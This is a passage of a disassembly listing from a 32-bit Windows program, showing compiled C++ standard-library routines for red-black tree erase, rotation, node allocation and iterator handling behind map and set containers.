mov edi, [ebp+14h]
cmp byte ptr [edi+45h], 0
jz short loc_40A979
push offset aInvalidMapSetT ; "invalid map/set<T> iterator"
lea ecx, [ebp-2Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401869
push offset dword_41FF68
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41C2B4
call sub_4107BC
loc_40A979: ; CODE XREF: sub_40A92E+17j
lea esi, [ebp+10h]
call sub_409852
mov ecx, [edi]
cmp byte ptr [ecx+45h], 0
jz short loc_40A98E
mov ebx, [edi+8]
jmp short loc_40A9A5
; ---------------------------------------------------------------------------
loc_40A98E: ; CODE XREF: sub_40A92E+59j
mov eax, [edi+8]
cmp byte ptr [eax+45h], 0
jz short loc_40A99B
mov ebx, ecx
jmp short loc_40A9A5
; ---------------------------------------------------------------------------
loc_40A99B: ; CODE XREF: sub_40A92E+67j
mov eax, [ebp+14h]
cmp eax, edi
mov ebx, [eax+8]
jnz short loc_40AA1B
loc_40A9A5: ; CODE XREF: sub_40A92E+5Ej
; sub_40A92E+6Bj
cmp byte ptr [ebx+45h], 0
mov esi, [edi+4]
jnz short loc_40A9B1
mov [ebx+4], esi
loc_40A9B1: ; CODE XREF: sub_40A92E+7Ej
mov ecx, [ebp+8]
mov eax, [ecx+4]
cmp [eax+4], edi
jnz short loc_40A9C1
mov [eax+4], ebx
jmp short loc_40A9CC
; ---------------------------------------------------------------------------
loc_40A9C1: ; CODE XREF: sub_40A92E+8Cj
cmp [esi], edi
jnz short loc_40A9C9
mov [esi], ebx
jmp short loc_40A9CC
; ---------------------------------------------------------------------------
loc_40A9C9: ; CODE XREF: sub_40A92E+95j
mov [esi+8], ebx
loc_40A9CC: ; CODE XREF: sub_40A92E+91j
; sub_40A92E+99j
mov edx, [ecx+4]
cmp [edx], edi
jnz short loc_40A9EF
cmp byte ptr [ebx+45h], 0
jz short loc_40A9DD
mov ecx, esi
jmp short loc_40A9ED
; ---------------------------------------------------------------------------
loc_40A9DD: ; CODE XREF: sub_40A92E+A9j
mov eax, [ebx]
mov ecx, ebx
jmp short loc_40A9E7
; ---------------------------------------------------------------------------
loc_40A9E3: ; CODE XREF: sub_40A92E+BDj
mov ecx, eax
mov eax, [ecx]
loc_40A9E7: ; CODE XREF: sub_40A92E+B3j
cmp byte ptr [eax+45h], 0
jz short loc_40A9E3
loc_40A9ED: ; CODE XREF: sub_40A92E+ADj
mov [edx], ecx
loc_40A9EF: ; CODE XREF: sub_40A92E+A3j
mov eax, [ebp+8]
mov edx, [eax+4]
cmp [edx+8], edi
jnz short loc_40AA75
cmp byte ptr [ebx+45h], 0
jz short loc_40AA04
mov ecx, esi
jmp short loc_40AA16
; ---------------------------------------------------------------------------
loc_40AA04: ; CODE XREF: sub_40A92E+D0j
mov eax, [ebx+8]
mov ecx, ebx
jmp short loc_40AA10
; ---------------------------------------------------------------------------
loc_40AA0B: ; CODE XREF: sub_40A92E+E6j
mov ecx, eax
mov eax, [ecx+8]
loc_40AA10: ; CODE XREF: sub_40A92E+DBj
cmp byte ptr [eax+45h], 0
jz short loc_40AA0B
loc_40AA16: ; CODE XREF: sub_40A92E+D4j
mov [edx+8], ecx
jmp short loc_40AA75
; ---------------------------------------------------------------------------
loc_40AA1B: ; CODE XREF: sub_40A92E+75j
mov [ecx+4], eax
mov ecx, [edi]
mov [eax], ecx
cmp eax, [edi+8]
jnz short loc_40AA2B
mov esi, eax
jmp short loc_40AA45
; ---------------------------------------------------------------------------
loc_40AA2B: ; CODE XREF: sub_40A92E+F7j
cmp byte ptr [ebx+45h], 0
mov esi, [eax+4]
jnz short loc_40AA37
mov [ebx+4], esi
loc_40AA37: ; CODE XREF: sub_40A92E+104j
mov [esi], ebx
mov ecx, [edi+8]
mov [eax+8], ecx
mov ecx, [edi+8]
mov [ecx+4], eax
loc_40AA45: ; CODE XREF: sub_40A92E+FBj
mov ecx, [ebp+8]
mov ecx, [ecx+4]
cmp [ecx+4], edi
jnz short loc_40AA55
mov [ecx+4], eax
jmp short loc_40AA63
; ---------------------------------------------------------------------------
loc_40AA55: ; CODE XREF: sub_40A92E+120j
mov ecx, [edi+4]
cmp [ecx], edi
jnz short loc_40AA60
mov [ecx], eax
jmp short loc_40AA63
; ---------------------------------------------------------------------------
loc_40AA60: ; CODE XREF: sub_40A92E+12Cj
mov [ecx+8], eax
loc_40AA63: ; CODE XREF: sub_40A92E+125j
; sub_40A92E+130j
mov ecx, [edi+4]
mov [eax+4], ecx
mov dl, [edi+44h]
mov cl, [eax+44h]
mov [eax+44h], dl
mov [edi+44h], cl
loc_40AA75: ; CODE XREF: sub_40A92E+CAj
; sub_40A92E+EBj
cmp byte ptr [edi+44h], 1
jnz loc_40AB91
jmp loc_40AB45
; ---------------------------------------------------------------------------
loc_40AA84: ; CODE XREF: sub_40A92E+220j
cmp byte ptr [ebx+44h], 1
jnz loc_40AB8D
mov ecx, [esi]
cmp ebx, ecx
jnz short loc_40AB0B
mov ecx, [esi+8]
cmp byte ptr [ecx+44h], 0
jnz short loc_40AAB2
push dword ptr [ebp+8]
mov byte ptr [ecx+44h], 1
mov ecx, esi
mov byte ptr [esi+44h], 0
call sub_40ABDF
mov ecx, [esi+8]
loc_40AAB2: ; CODE XREF: sub_40A92E+16Dj
cmp byte ptr [ecx+45h], 0
jnz loc_40AB40
mov eax, [ecx]
cmp byte ptr [eax+44h], 1
jnz short loc_40AACD
mov eax, [ecx+8]
cmp byte ptr [eax+44h], 1
jz short loc_40AB3C
loc_40AACD: ; CODE XREF: sub_40A92E+194j
mov eax, [ecx+8]
cmp byte ptr [eax+44h], 1
jnz short loc_40AAEB
mov eax, [ecx]
push dword ptr [ebp+8]
mov byte ptr [eax+44h], 1
mov byte ptr [ecx+44h], 0
call sub_40AC1F
mov ecx, [esi+8]
loc_40AAEB: ; CODE XREF: sub_40A92E+1A6j
mov al, [esi+44h]
push dword ptr [ebp+8]
mov [ecx+44h], al
mov byte ptr [esi+44h], 1
mov eax, [ecx+8]
mov ecx, esi
mov byte ptr [eax+44h], 1
call sub_40ABDF
jmp loc_40AB8D
; ---------------------------------------------------------------------------
loc_40AB0B: ; CODE XREF: sub_40A92E+164j
cmp byte ptr [ecx+44h], 0
jnz short loc_40AB25
push dword ptr [ebp+8]
mov byte ptr [ecx+44h], 1
mov ecx, esi
mov byte ptr [esi+44h], 0
call sub_40AC1F
mov ecx, [esi]
loc_40AB25: ; CODE XREF: sub_40A92E+1E1j
cmp byte ptr [ecx+45h], 0
jnz short loc_40AB40
mov eax, [ecx+8]
cmp byte ptr [eax+44h], 1
jnz short loc_40AB56
mov eax, [ecx]
cmp byte ptr [eax+44h], 1
jnz short loc_40AB56
loc_40AB3C: ; CODE XREF: sub_40A92E+19Dj
mov byte ptr [ecx+44h], 0
loc_40AB40: ; CODE XREF: sub_40A92E+188j
; sub_40A92E+1FBj
mov ebx, esi
mov esi, [esi+4]
loc_40AB45: ; CODE XREF: sub_40A92E+151j
mov eax, [ebp+8]
mov eax, [eax+4]
cmp ebx, [eax+4]
jnz loc_40AA84
jmp short loc_40AB8D
; ---------------------------------------------------------------------------
loc_40AB56: ; CODE XREF: sub_40A92E+204j
; sub_40A92E+20Cj
mov eax, [ecx]
cmp byte ptr [eax+44h], 1
jnz short loc_40AB73
mov eax, [ecx+8]
push dword ptr [ebp+8]
mov byte ptr [eax+44h], 1
mov byte ptr [ecx+44h], 0
call sub_40ABDF
mov ecx, [esi]
loc_40AB73: ; CODE XREF: sub_40A92E+22Ej
mov al, [esi+44h]
push dword ptr [ebp+8]
mov [ecx+44h], al
mov byte ptr [esi+44h], 1
mov eax, [ecx]
mov ecx, esi
mov byte ptr [eax+44h], 1
call sub_40AC1F
loc_40AB8D: ; CODE XREF: sub_40A92E+15Aj
; sub_40A92E+1D8j ...
mov byte ptr [ebx+44h], 1
loc_40AB91: ; CODE XREF: sub_40A92E+14Bj
push 0
lea esi, [edi+0Ch]
push 1
lea ecx, [esi+1Ch]
call sub_4013C4
push 0
push 1
mov ecx, esi
call sub_4013C4
push edi
call sub_40DD8A
pop ecx
mov ecx, [ebp+8]
mov eax, [ecx+8]
test eax, eax
jbe short loc_40ABC0
dec eax
mov [ecx+8], eax
loc_40ABC0: ; CODE XREF: sub_40A92E+28Cj
mov ecx, [ebp+10h]
mov eax, [ebp+0Ch]
mov [eax], ecx
mov ecx, [ebp+14h]
pop edi
mov [eax+4], ecx
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_40A92E endp
; =============== S U B R O U T I N E =======================================
sub_40ABDF proc near ; CODE XREF: sub_40A5B6+B8p
; sub_40A5B6+120p ...
arg_0 = dword ptr 4
mov eax, [ecx+8]
mov edx, [eax]
mov [ecx+8], edx
mov edx, [eax]
cmp byte ptr [edx+45h], 0
jnz short loc_40ABF2
mov [edx+4], ecx
loc_40ABF2: ; CODE XREF: sub_40ABDF+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+4]
cmp ecx, [edx+4]
jnz short loc_40AC09
mov [edx+4], eax
jmp short loc_40AC17
; ---------------------------------------------------------------------------
loc_40AC09: ; CODE XREF: sub_40ABDF+23j
mov edx, [ecx+4]
cmp ecx, [edx]
jnz short loc_40AC14
mov [edx], eax
jmp short loc_40AC17
; ---------------------------------------------------------------------------
loc_40AC14: ; CODE XREF: sub_40ABDF+2Fj
mov [edx+8], eax
loc_40AC17: ; CODE XREF: sub_40ABDF+28j
; sub_40ABDF+33j
mov [eax], ecx
mov [ecx+4], eax
retn 4
sub_40ABDF endp
; =============== S U B R O U T I N E =======================================
sub_40AC1F proc near ; CODE XREF: sub_40A5B6+D5p
; sub_40A5B6+103p ...
arg_0 = dword ptr 4
mov eax, [ecx]
mov edx, [eax+8]
mov [ecx], edx
mov edx, [eax+8]
cmp byte ptr [edx+45h], 0
jnz short loc_40AC32
mov [edx+4], ecx
loc_40AC32: ; CODE XREF: sub_40AC1F+Ej
mov edx, [ecx+4]
mov [eax+4], edx
mov edx, [esp+arg_0]
mov edx, [edx+4]
cmp ecx, [edx+4]
jnz short loc_40AC49
mov [edx+4], eax
jmp short loc_40AC58
; ---------------------------------------------------------------------------
loc_40AC49: ; CODE XREF: sub_40AC1F+23j
mov edx, [ecx+4]
cmp ecx, [edx+8]
jnz short loc_40AC56
mov [edx+8], eax
jmp short loc_40AC58
; ---------------------------------------------------------------------------
loc_40AC56: ; CODE XREF: sub_40AC1F+30j
mov [edx], eax
loc_40AC58: ; CODE XREF: sub_40AC1F+28j
; sub_40AC1F+35j
mov [eax+8], ecx
mov [ecx+4], eax
retn 4
sub_40AC1F endp
; =============== S U B R O U T I N E =======================================
sub_40AC61 proc near ; CODE XREF: sub_408593+13p
push 48h
call sub_40DE68
xor edx, edx
cmp eax, edx
pop ecx
jz short loc_40AC71
mov [eax], edx
loc_40AC71: ; CODE XREF: sub_40AC61+Cj
lea ecx, [eax+4]
cmp ecx, edx
jz short loc_40AC7A
mov [ecx], edx
loc_40AC7A: ; CODE XREF: sub_40AC61+15j
lea ecx, [eax+8]
cmp ecx, edx
jz short loc_40AC83
mov [ecx], edx
loc_40AC83: ; CODE XREF: sub_40AC61+1Ej
mov byte ptr [eax+44h], 1
mov [eax+45h], dl
retn
sub_40AC61 endp
; =============== S U B R O U T I N E =======================================
sub_40AC8B proc near ; CODE XREF: sub_40A5B6+55p
mov eax, offset loc_41AEC2
call sub_41AE44
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp-10h], esp
push 48h
call sub_40DE68
mov esi, eax
pop ecx
mov [ebp-14h], esi
test esi, esi
mov dword ptr [ebp-4], 1
jz short loc_40ACC6
push dword ptr [ebp+10h]
mov ecx, [ebp+14h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40B168
loc_40ACC6: ; CODE XREF: sub_40AC8B+28j
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_40AC8B endp
; =============== S U B R O U T I N E =======================================
sub_40ACD9 proc near ; DATA XREF: .vty:00420054o
push dword ptr [ebp-14h]
call sub_40DD8A
pop ecx
push 0
push 0
call sub_4107BC
int 3 ; Trap to Debugger
sub_40ACD9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40ACEC proc near ; CODE XREF: sub_40A73E+99p
mov eax, offset loc_41AFA6
call sub_41AE44
sub esp, 48h
push ebx
push esi
push edi
mov edi, [ebp+14h]
cmp byte ptr [edi+39h], 0
jz short loc_40AD37
push offset aInvalidMapSetT ; "invalid map/set<T> iterator"
lea ecx, [ebp-2Ch]
call sub_401C44
and dword ptr [ebp-4], 0
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-54h]
call sub_401869
push offset dword_41FF68
lea eax, [ebp-54h]
push eax
mov dword ptr [ebp-54h], offset off_41C2B4
call sub_4107BC
loc_40AD37: ; CODE XREF: sub_40ACEC+17j
lea esi, [ebp+10h]
call sub_40B11B
mov ecx, [edi]
cmp byte ptr [ecx+39h], 0
jz short loc_40AD4C
mov ebx, [edi+8]
jmp short loc_40AD63
; ---------------------------------------------------------------------------
loc_40AD4C: ; CODE XREF: sub_40ACEC+59j
mov eax, [edi+8]
cmp byte ptr [eax+39h], 0
jz short loc_40AD59
mov ebx, ecx
jmp short loc_40AD63
; ---------------------------------------------------------------------------
loc_40AD59: ; CODE XREF: sub_40ACEC+67j
mov eax, [ebp+14h]
cmp eax, edi
mov ebx, [eax+8]
jnz short loc_40ADD9
loc_40AD63: ; CODE XREF: sub_40ACEC+5Ej
; sub_40ACEC+6Bj
cmp byte ptr [ebx+39h], 0
mov esi, [edi+4]
jnz short loc_40AD6F
mov [ebx+4], esi
loc_40AD6F: ; CODE XREF: sub_40ACEC+7Ej
mov ecx, [ebp+8]
mov eax, [ecx+4]
cmp [eax+4], edi
jnz short loc_40AD7F
mov [eax+4], ebx
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD7F: ; CODE XREF: sub_40ACEC+8Cj
cmp [esi], edi
jnz short loc_40AD87
mov [esi], ebx
jmp short loc_40AD8A
; ---------------------------------------------------------------------------
loc_40AD87: ; CODE XREF: sub_40ACEC+95j
mov [esi+8], ebx
loc_40AD8A: ; CODE XREF: sub_40ACEC+91j
; sub_40ACEC+99j
mov edx, [ecx+4]
cmp [edx], edi
jnz short loc_40ADAD
cmp byte ptr [ebx+39h], 0
jz short loc_40AD9B
mov ecx, esi
jmp short loc_40ADAB
; ---------------------------------------------------------------------------
loc_40AD9B: ; CODE XREF: sub_40ACEC+A9j
mov eax, [ebx]
mov ecx, ebx
jmp short loc_40ADA5
; ---------------------------------------------------------------------------
loc_40ADA1: ; CODE XREF: sub_40ACEC+BDj
mov ecx, eax
mov eax, [ecx]
loc_40ADA5: ; CODE XREF: sub_40ACEC+B3j
cmp byte ptr [eax+39h], 0
jz short loc_40ADA1
loc_40ADAB: ; CODE XREF: sub_40ACEC+ADj
mov [edx], ecx
loc_40ADAD: ; CODE XREF: sub_40ACEC+A3j
mov eax, [ebp+8]
mov edx, [eax+4]
cmp [edx+8], edi
jnz short loc_40AE33
cmp byte ptr [ebx+39h], 0
jz short loc_40ADC2
mov ecx, esi
jmp short loc_40ADD4
; ---------------------------------------------------------------------------
loc_40ADC2: ; CODE XREF: sub_40ACEC+D0j
mov eax, [ebx+8]
mov ecx, ebx
jmp short loc_40ADCE
; ---------------------------------------------------------------------------
loc_40ADC9: ; CODE XREF: sub_40ACEC+E6j
mov ecx, eax
mov eax, [ecx+8]
loc_40ADCE: ; CODE XREF: sub_40ACEC+DBj
cmp byte ptr [eax+39h], 0
jz short loc_40ADC9
loc_40ADD4: ; CODE XREF: sub_40ACEC+D4j
mov [edx+8], ecx
jmp short loc_40AE33
; ---------------------------------------------------------------------------
loc_40ADD9: ; CODE XREF: sub_40ACEC+75j
mov [ecx+4], eax
mov ecx, [edi]
mov [eax], ecx
cmp eax, [edi+8]
jnz short loc_40ADE9
mov esi, eax
jmp short loc_40AE03
; ---------------------------------------------------------------------------
loc_40ADE9: ; CODE XREF: sub_40ACEC+F7j
cmp byte ptr [ebx+39h], 0
mov esi, [eax+4]
jnz short loc_40ADF5
mov [ebx+4], esi
loc_40ADF5: ; CODE XREF: sub_40ACEC+104j
mov [esi], ebx
mov ecx, [edi+8]
mov [eax+8], ecx
mov ecx, [edi+8]
mov [ecx+4], eax
loc_40AE03: ; CODE XREF: sub_40ACEC+FBj
mov ecx, [ebp+8]
mov ecx, [ecx+4]
cmp [ecx+4], edi
jnz short loc_40AE13
mov [ecx+4], eax
jmp short loc_40AE21
; ---------------------------------------------------------------------------
loc_40AE13: ; CODE XREF: sub_40ACEC+120j
mov ecx, [edi+4]
cmp [ecx], edi
jnz short loc_40AE1E
mov [ecx], eax
jmp short loc_40AE21
; ---------------------------------------------------------------------------
loc_40AE1E: ; CODE XREF: sub_40ACEC+12Cj
mov [ecx+8], eax
loc_40AE21: ; CODE XREF: sub_40ACEC+125j
; sub_40ACEC+130j
mov ecx, [edi+4]
mov [eax+4], ecx
mov dl, [edi+38h]
mov cl, [eax+38h]
mov [eax+38h], dl
mov [edi+38h], cl
loc_40AE33: ; CODE XREF: sub_40ACEC+CAj
; sub_40ACEC+EBj
cmp byte ptr [edi+38h], 1
jnz loc_40AF4F
jmp loc_40AF03
; ---------------------------------------------------------------------------
loc_40AE42: ; CODE XREF: sub_40ACEC+220j
cmp byte ptr [ebx+38h], 1
jnz loc_40AF4B
mov ecx, [esi]
cmp ebx, ecx
jnz short loc_40AEC9
mov ecx, [esi+8]
cmp byte ptr [ecx+38h], 0
jnz short loc_40AE70
push dword ptr [ebp+8]
mov byte ptr [ecx+38h], 1
mov ecx, esi
mov byte ptr [esi+38h], 0
call sub_40A7EA
mov ecx, [esi+8]
loc_40AE70: ; CODE XREF: sub_40ACEC+16Dj
cmp byte ptr [ecx+39h], 0
jnz loc_40AEFE
mov eax, [ecx]
cmp byte ptr [eax+38h], 1
jnz short loc_40AE8B
mov eax, [ecx+8]
cmp byte ptr [eax+38h], 1
jz short loc_40AEFA
loc_40AE8B: ; CODE XREF: sub_40ACEC+194j
mov eax, [ecx+8]
cmp byte ptr [eax+38h], 1
jnz short loc_40AEA9
mov eax, [ecx]
push dword ptr [ebp+8]
mov byte ptr [eax+38h], 1
mov byte ptr [ecx+38h], 0
call sub_40A82A
mov ecx, [esi+8]
loc_40AEA9: ; CODE XREF: sub_40ACEC+1A6j
mov al, [esi+38h]
push dword ptr [ebp+8]
mov [ecx+38h], al
mov byte ptr [esi+38h], 1
mov eax, [ecx+8]
mov ecx, esi
mov byte ptr [eax+38h], 1
call sub_40A7EA
jmp loc_40AF4B
; ---------------------------------------------------------------------------
loc_40AEC9: ; CODE XREF: sub_40ACEC+164j
cmp byte ptr [ecx+38h], 0
jnz short loc_40AEE3
push dword ptr [ebp+8]
mov byte ptr [ecx+38h], 1
mov ecx, esi
mov byte ptr [esi+38h], 0
call sub_40A82A
mov ecx, [esi]
loc_40AEE3: ; CODE XREF: sub_40ACEC+1E1j
cmp byte ptr [ecx+39h], 0
jnz short loc_40AEFE
mov eax, [ecx+8]
cmp byte ptr [eax+38h], 1
jnz short loc_40AF14
mov eax, [ecx]
cmp byte ptr [eax+38h], 1
jnz short loc_40AF14
loc_40AEFA: ; CODE XREF: sub_40ACEC+19Dj
mov byte ptr [ecx+38h], 0
loc_40AEFE: ; CODE XREF: sub_40ACEC+188j
; sub_40ACEC+1FBj
mov ebx, esi
mov esi, [esi+4]
loc_40AF03: ; CODE XREF: sub_40ACEC+151j
mov eax, [ebp+8]
mov eax, [eax+4]
cmp ebx, [eax+4]
jnz loc_40AE42
jmp short loc_40AF4B
; ---------------------------------------------------------------------------
loc_40AF14: ; CODE XREF: sub_40ACEC+204j
; sub_40ACEC+20Cj
mov eax, [ecx]
cmp byte ptr [eax+38h], 1
jnz short loc_40AF31
mov eax, [ecx+8]
push dword ptr [ebp+8]
mov byte ptr [eax+38h], 1
mov byte ptr [ecx+38h], 0
call sub_40A7EA
mov ecx, [esi]
loc_40AF31: ; CODE XREF: sub_40ACEC+22Ej
mov al, [esi+38h]
push dword ptr [ebp+8]
mov [ecx+38h], al
mov byte ptr [esi+38h], 1
mov eax, [ecx]
mov ecx, esi
mov byte ptr [eax+38h], 1
call sub_40A82A
loc_40AF4B: ; CODE XREF: sub_40ACEC+15Aj
; sub_40ACEC+1D8j ...
mov byte ptr [ebx+38h], 1
loc_40AF4F: ; CODE XREF: sub_40ACEC+14Bj
lea ebx, [edi+0Ch]
lea esi, [ebx+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, ebx
call sub_4013C4
push edi
call sub_40DD8A
pop ecx
mov ecx, [ebp+8]
mov eax, [ecx+8]
test eax, eax
jbe short loc_40AF7A
dec eax
mov [ecx+8], eax
loc_40AF7A: ; CODE XREF: sub_40ACEC+288j
mov ecx, [ebp+10h]
mov eax, [ebp+0Ch]
mov [eax], ecx
mov ecx, [ebp+14h]
pop edi
mov [eax+4], ecx
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 10h
sub_40ACEC endp
; =============== S U B R O U T I N E =======================================
sub_40AF99 proc near ; CODE XREF: sub_408593+38p
push 3Ch
call sub_40DE68
xor edx, edx
cmp eax, edx
pop ecx
jz short loc_40AFA9
mov [eax], edx
loc_40AFA9: ; CODE XREF: sub_40AF99+Cj
lea ecx, [eax+4]
cmp ecx, edx
jz short loc_40AFB2
mov [ecx], edx
loc_40AFB2: ; CODE XREF: sub_40AF99+15j
lea ecx, [eax+8]
cmp ecx, edx
jz short loc_40AFBB
mov [ecx], edx
loc_40AFBB: ; CODE XREF: sub_40AF99+1Ej
mov byte ptr [eax+38h], 1
mov [eax+39h], dl
retn
sub_40AF99 endp
; =============== S U B R O U T I N E =======================================
sub_40AFC3 proc near ; CODE XREF: sub_4081BF+352p
; sub_40996D+69p
arg_0 = dword ptr 4
cmp dword ptr [edi], 0
jnz short loc_40AFCD
call sub_40DCFC
loc_40AFCD: ; CODE XREF: sub_40AFC3+3j
mov eax, [edi+4]
mov ecx, [edi]
push esi
mov esi, [esp+4+arg_0]
imul esi, 2Ch
add eax, esi
cmp eax, [ecx+8]
ja short loc_40AFE6
cmp eax, [ecx+4]
jnb short loc_40AFEB
loc_40AFE6: ; CODE XREF: sub_40AFC3+1Cj
call sub_40DCFC
loc_40AFEB: ; CODE XREF: sub_40AFC3+21j
add [edi+4], esi
mov eax, edi
pop esi
retn 4
sub_40AFC3 endp
; =============== S U B R O U T I N E =======================================
sub_40AFF4 proc near ; CODE XREF: sub_409A1D+69p
; sub_40C232+22p
arg_0 = dword ptr 4
cmp dword ptr [edi], 0
jnz short loc_40AFFE
call sub_40DCFC
loc_40AFFE: ; CODE XREF: sub_40AFF4+3j
mov eax, [edi+4]
mov ecx, [edi]
push esi
mov esi, [esp+4+arg_0]
imul esi, 1Ch
add eax, esi
cmp eax, [ecx+8]
ja short loc_40B017
cmp eax, [ecx+4]
jnb short loc_40B01C
loc_40B017: ; CODE XREF: sub_40AFF4+1Cj
call sub_40DCFC
loc_40B01C: ; CODE XREF: sub_40AFF4+21j
add [edi+4], esi
mov eax, edi
pop esi
retn 4
sub_40AFF4 endp
; =============== S U B R O U T I N E =======================================
sub_40B025 proc near ; CODE XREF: sub_40A86C+36p
mov eax, offset loc_41AEF1
call sub_41AE44
push ecx
mov eax, [ebp+8]
mov [esi], eax
mov eax, [ebp+0Ch]
push edi
mov [esi+4], eax
mov eax, [ebp+10h]
lea edi, [esi+0Ch]
push ebx
mov ecx, edi
mov [esi+8], eax
mov [ebp+8], edi
call sub_401C1E
and dword ptr [ebp-4], 0
add edi, 1Ch
lea ecx, [ebx+1Ch]
push edi
call sub_4075BC
mov ecx, [ebp-0Ch]
mov byte ptr [esi+38h], 0
mov byte ptr [esi+39h], 0
mov eax, esi
mov large fs:0, ecx
pop edi
leave
retn 0Ch
sub_40B025 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B079 proc near ; CODE XREF: sub_40A50C+42p
; sub_40B079+1Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
cmp byte ptr [edi+45h], 0
mov [ebp+var_4], ecx
mov esi, edi
jnz short loc_40B0C5
push ebx
loc_40B08E: ; CODE XREF: sub_40B079+49j
push dword ptr [esi+8]
mov ecx, [ebp+var_4]
call sub_40B079
mov esi, [esi]
push 0
lea ebx, [edi+0Ch]
push 1
lea ecx, [ebx+1Ch]
call sub_4013C4
push 0
push 1
mov ecx, ebx
call sub_4013C4
push edi
call sub_40DD8A
cmp byte ptr [esi+45h], 0
pop ecx
mov edi, esi
jz short loc_40B08E
pop ebx
loc_40B0C5: ; CODE XREF: sub_40B079+12j
pop edi
pop esi
leave
retn 4
sub_40B079 endp
; =============== S U B R O U T I N E =======================================
sub_40B0CB proc near ; CODE XREF: sub_40A73E+41p
; sub_40B0CB+1Cp
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebp
mov ebp, [esp+8+arg_0]
cmp byte ptr [ebp+39h], 0
push edi
mov [esp+0Ch+var_4], ecx
mov edi, ebp
jnz short loc_40B115
push ebx
push esi
loc_40B0E0: ; CODE XREF: sub_40B0CB+46j
push dword ptr [edi+8]
mov ecx, [esp+18h+var_4]
call sub_40B0CB
mov edi, [edi]
lea ebx, [ebp+0Ch]
lea esi, [ebx+1Ch]
call sub_405AAC
push 0
push 1
mov ecx, ebx
call sub_4013C4
push ebp
call sub_40DD8A
cmp byte ptr [edi+39h], 0
pop ecx
mov ebp, edi
jz short loc_40B0E0
pop esi
pop ebx
loc_40B115: ; CODE XREF: sub_40B0CB+11j
pop edi
pop ebp
pop ecx
retn 4
sub_40B0CB endp
; =============== S U B R O U T I N E =======================================
sub_40B11B proc near ; CODE XREF: sub_40A73E+89p
; sub_40ACEC+4Ep
push ebx
xor ebx, ebx
cmp [esi], ebx
jnz short loc_40B127
call sub_40DCFC
loc_40B127: ; CODE XREF: sub_40B11B+5j
mov eax, [esi+4]
cmp [eax+39h], bl
jz short loc_40B136
call sub_40DCFC
jmp short loc_40B164
; ---------------------------------------------------------------------------
loc_40B136: ; CODE XREF: sub_40B11B+12j
mov ecx, [eax+8]
cmp [ecx+39h], bl
jnz short loc_40B159
jmp short loc_40B142
; ---------------------------------------------------------------------------
loc_40B140: ; CODE XREF: sub_40B11B+2Cj
mov ecx, eax
loc_40B142: ; CODE XREF: sub_40B11B+23j
mov eax, [ecx]
cmp [eax+39h], bl
jz short loc_40B140
mov [esi+4], ecx
jmp short loc_40B164
; ---------------------------------------------------------------------------
loc_40B14E: ; CODE XREF: sub_40B11B+44j
mov ecx, [esi+4]
cmp ecx, [eax+8]
jnz short loc_40B161
mov [esi+4], eax
loc_40B159: ; CODE XREF: sub_40B11B+21j
mov eax, [eax+4]
cmp [eax+39h], bl
jz short loc_40B14E
loc_40B161: ; CODE XREF: sub_40B11B+39j
mov [esi+4], eax
loc_40B164: ; CODE XREF: sub_40B11B+19j
; sub_40B11B+31j
mov eax, esi
pop ebx
retn
sub_40B11B endp
; =============== S U B R O U T I N E =======================================
sub_40B168 proc near ; CODE XREF: sub_40AC8B+36p
mov eax, offset loc_41AEF1
call sub_41AE44
mov eax, [ebp+8]
push ebx
mov [esi], eax
mov eax, [ebp+0Ch]
push edi
mov ebx, ecx
mov [esi+4], eax
mov eax, [ebp+10h]
lea edi, [esi+0Ch]
push ebx
mov ecx, edi
mov [esi+8], eax
mov [ebp+8], edi
call sub_401C1E
and dword ptr [ebp-4], 0
add ebx, 1Ch
push ebx
lea ecx, [edi+1Ch]
call sub_401C1E
mov ecx, [ebp-0Ch]
pop edi
mov byte ptr [esi+44h], 0
mov byte ptr [esi+45h], 0
mov eax, esi
pop ebx
mov large fs:0, ecx
leave
retn 0Ch
sub_40B168 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1BF proc near ; CODE XREF: sub_409E2A+1B0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
sub eax, [ebp+arg_0]
push edi
cdq
push 38h
pop ecx
idiv ecx
mov edi, [ebp+arg_4]
imul eax, 38h
sub edi, eax
cmp [ebp+arg_0], ebx
jz short loc_40B1FD
mov eax, [ebp+arg_4]
sub eax, ebx
push esi
mov [ebp+arg_4], eax
jmp short loc_40B1EA
; ---------------------------------------------------------------------------
loc_40B1E7: ; CODE XREF: sub_40B1BF+3Bj
mov eax, [ebp+arg_4]
loc_40B1EA: ; CODE XREF: sub_40B1BF+26j
sub ebx, 38h
lea esi, [eax+ebx]
mov eax, ebx
call sub_4076C2
cmp ebx, [ebp+arg_0]
jnz short loc_40B1E7
pop esi
loc_40B1FD: ; CODE XREF: sub_40B1BF+1Bj
mov eax, edi
pop edi
pop ebx
pop ebp
retn
sub_40B1BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B203 proc near ; CODE XREF: sub_406E16+EEp
; sub_40A022+A2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
xor eax, eax
lea edi, [ebp+var_4]
stosb
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_407141
add esp, 10h
pop edi
leave
retn 8
sub_40B203 endp
